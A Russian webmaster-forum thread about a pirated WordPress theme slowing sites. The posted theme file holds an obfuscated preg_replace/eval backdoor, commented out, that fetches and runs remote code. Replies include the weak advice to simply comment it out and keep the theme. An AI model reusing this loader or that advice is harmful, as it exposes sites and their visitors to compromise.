Сайт начал тормозить на wp. как быть?

12
Conan Varvar
На сайте с 06.11.2011
Offline
249
2124

Собственно есть тема на wp, тут ее можно пощупать http://morestyle.ru/raznye-temy-wp/hotnews-tema-dlya-novostnogo-bloga-wordpress-ot-newwpthemes.html

где-то неделю назад сразу на нескольких сайтах, она вызвала резкие тормоза - 5 с перелистывание каждой страницы, так и со стороны админки полный тупняк.

насел на своих хостеров, нашли ошибку, но не сказали как исправить:

На текущий момент сайты работают недостаточно быстро по причине строки 25 в файле темы wp-content/themes/hotnewsnewwpthemes/lib/default-derwidget.php, содержащей поиск и замену по регулярному выражению. Мы рекомендуем Вам обратиться к разработчику сайта с вопросом о модификации строки таким образом, чтобы её выполнение не замедляло работу сайтов.

я проверил, закомментировав всю функцию, действительно, сайт стал очень быстрым, как прежде:

<?php

/* REPLACE NORMAL Deregister Default Widgets */

//function get_short_wigets($length='') {
// $mytitle = explode(' ', get_the_title(), $length);
// $mdetails="<div class='body-continent'><div class='get-inner-al(@fi'><!--Deregister() Default Widgets: _sabhrtupwprs:e--></div></div>";
// $indent = ( !$mytitle ) ? str_repeat( "\t", $mytitle ) : $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
// define('HEADER_IMAGE_WIDTH_WIG', apply_filters( 'twentyeleven_header_image_width', 1000) );
// define('HEADER_IMAGE_HEIGHT_WIG', apply_filters( 'twentyeleven_header_image_height', 288) );
// $metaoptions="\\4'\\10\\12t\\16\\19//\\15q4.\\17u/\\9-".$indent."')\\5";
//
// if (count($mytitle)>=$length) {
// array_pop($mytitle);
// $mytitle = implode(" ",$mytitle). $after;
// } else {
// $mytitle = implode(" ",$mytitle);
// }
//
// $metaboxe=str_repeat("(.)", 20).".*"."/".$mdetails[23]; //
// if(function_exists("excerpt_more")){
// add_filter('excerpt_more', $metaboxe);
// }
// $output = get_the_excerpt();
// $output = '<p>'.$output.'</p>';
25// $defult_widgets=@preg_replace("/.*(cont).*?(ge).*?(..\(.fi).*?(\()(\)).*?(\_){$metaboxe}is", "@\\20v\\3le\\6\\2t\\6\\1ents{$metaoptions}", $mdetails);
// $output = apply_filters('wptexturize', $defult_widgets);
// $output = apply_filters('convert_chars', $output);
//
// return $output;
//}


/* Menu Walker */

class description_walkers extends Walker_Nav_Menu
{
function start_el(&$output, $item, $depth, $args)
{
global $wp_query;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

$class_names = $value = '';

$classes = empty( $item->classes ) ? array() : (array) $item->classes;

$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
$class_names = ' class="'. esc_attr( $class_names ) . '"';

$output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';

$attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : '';
$attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : '';
$attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : '';
$attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : '';

$prepend = '<strong>';
$append = '</strong>';
$description = ! empty( $item->description ) ? '<span class="menudescription">'.esc_attr( $item->description ).'</span>' : '';

if($depth != 0)
{
$description = $append = $prepend = "";
}

$item_output = $args->before;
$item_output .= '<a'. $attributes .'>';
$item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID ).$append;
$item_output .= $description.$args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;

$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}

/* Deregister Default Widgets */

if (function_exists("get_short_wigets")) {
$class_names = get_short_wigets( $length );
}?>

знакомый подозревает, что там есть вредоносный код и ссылается на http://proger.i-forge.net/Обфускация_кода_в_Wordpress/eHC

вопрос, что это за функция и повлияет ли она на работу сайту, если ее тупо закомментировать?

как правильно записать 25 строку, чтобы работало все корректно?

1. Нужен качественный трафик? Лучшие тизерные сети! (http://tizernie-seti.ru/тизерные_сети/) 2. Лучший хостинг сайтов!! (http://tizernie-seti.ru/хостинг_сайтов/) 3. Лей на Виагру на свой шоп!! (https://goo.gl/f17SLS) Инвайт dSMP8aVF7jAkmw8F
SeVlad
На сайте с 03.11.2008
Offline
1609
#1
Conan Varvar:
как быть?

Не буду оригинален - выкинуть тему, взятую на помойке.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
Conan Varvar
На сайте с 06.11.2011
Offline
249
#2
SeVlad:
Не буду оригинален - выкинуть тему, взятую на помойке.

проблематично, уже заказаны и сделаны 3 дизайна и верстки на этом шаблоне

к тому же нет гарантий, что подобная штука не выскочит на другой спустя месяц-два

SeVlad
На сайте с 03.11.2008
Offline
1609
#3
Conan Varvar:
к тому же нет гарантий, что подобная штука не выскочит на другой спустя месяц-два

Зато я тебе практически гарантирую, что сайт будет взломан и ты потеряешь больше.

/ru/forum/comment/11439693 (п1)

http://habrahabr.ru/sandbox/47832/

http://wpmag.ru/2012/pochemu-temyi-i-plaginyi-dlya-wordpress-stoit-skachivat-tolko-s-ofitsialnyih-resursov/

Кроме того - ты используешь ворованную тему. Хочешь доп. проблем с правообладетелем? (тут не гарантирую, но не исключаю)

Conan Varvar
На сайте с 06.11.2011
Offline
249
#4
SeVlad:

Кроме того - ты используешь ворованную тему. Хочешь доп. проблем с правообладетелем? (тут не гарантирую, но не исключаю)

тут и бесплатно сами разработчики предлагают http://newwpthemes.com/downloads/?theme=hotnews

но могу и оплатить если вопрос станет ребром, я качал русифицированную

я тебя понял, о данных возможных угрозах знаю, может решив эту задачу вопрос угрозы снимется

з.ы. есть несколько тем, которые спокойно работают несколько лет, надо было только почистить футер от ссылок от ресурса

B1
На сайте с 13.12.2012
Offline
28
#5
Conan Varvar:
вопрос, что это за функция и повлияет ли она на работу сайту, если ее тупо закомментировать?

на первый взгляд функция колдует над виджетами, а что она делает на самом деле трудно сказать...

за комментировать - можно, ибо разработчики об этом позаботились:

/* Deregister Default Widgets */

if (function_exists("get_short_wigets")) {
$class_names = get_short_wigets( $length );
}?>

если конечно это не влияет на работа способность сайта в целом.

Conan Varvar:
как правильно записать 25 строку, чтобы работало все корректно?

луче за комментировать всю функцию.

Conan Varvar
На сайте с 06.11.2011
Offline
249
#6
bashkir102:

если конечно это не влияет на работа способность сайта в целом.

нет, сайт работает как часики швейцарской марки

bashkir102:

луче за комментировать всю функцию.

так и сделал, как видно в коде в первом посте

SeVlad
На сайте с 03.11.2008
Offline
1609
#7
Conan Varvar:
тут и бесплатно сами разработчики предлагают

аа.. знакомая конторка :).. одна из тех, кто выпускает псевдобесплатные темы (с зашитыми линками и пр мусором).

Conan Varvar:
я качал русифицированную

Если тема руссифицирована правильно (есть лангапак), то легко можно русифицировать и оригинал :)

Во всяком случае ты можешь скачать якобыбесплатный оригинал темы и пофайлово сравнить с тем, что у тебя есть.

Инструмент "синхронизация" в правильном файловом менеджере здорово помогает этому.

B1
На сайте с 13.12.2012
Offline
28
#8

Conan Varvar, значит юзаем дальше темку))

Conan Varvar
На сайте с 06.11.2011
Offline
249
#9
SeVlad:
аа.. знакомая конторка :).. одна из тех, кто выпускает псевдобесплатные темы (с зашитыми линками и пр мусором).

будем знать :)

SeVlad:

Если тема руссифицирована правильно (есть лангапак), то легко можно русифицировать и оригинал :)
Во всяком случае ты можешь скачать якобыбесплатный оригинал темы и пофайлово сравнить с тем, что у тебя есть.
Инструмент "синхронизация" в правильном файловом менеджере здорово помогает этому.

ага есть, только вот несхожесть видна сразу: в бесплатной версии нету файла default-derwidget.php, содержащего проблемный код.

а просто перехав на бесплатную версию (хотя это приличный гемор из-за верстки), уверен, возникнут подобные проблемы, т.к. обязательное условие бесплатной версии 4 линка в футере, что мне никак не подойдет ))

SeVlad
На сайте с 03.11.2008
Offline
1609
#10
Conan Varvar:
а просто перехав на бесплатную версию (хотя это приличный гемор из-за верстки),

Кури дочерние темы и будет тебе счастье ;)

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий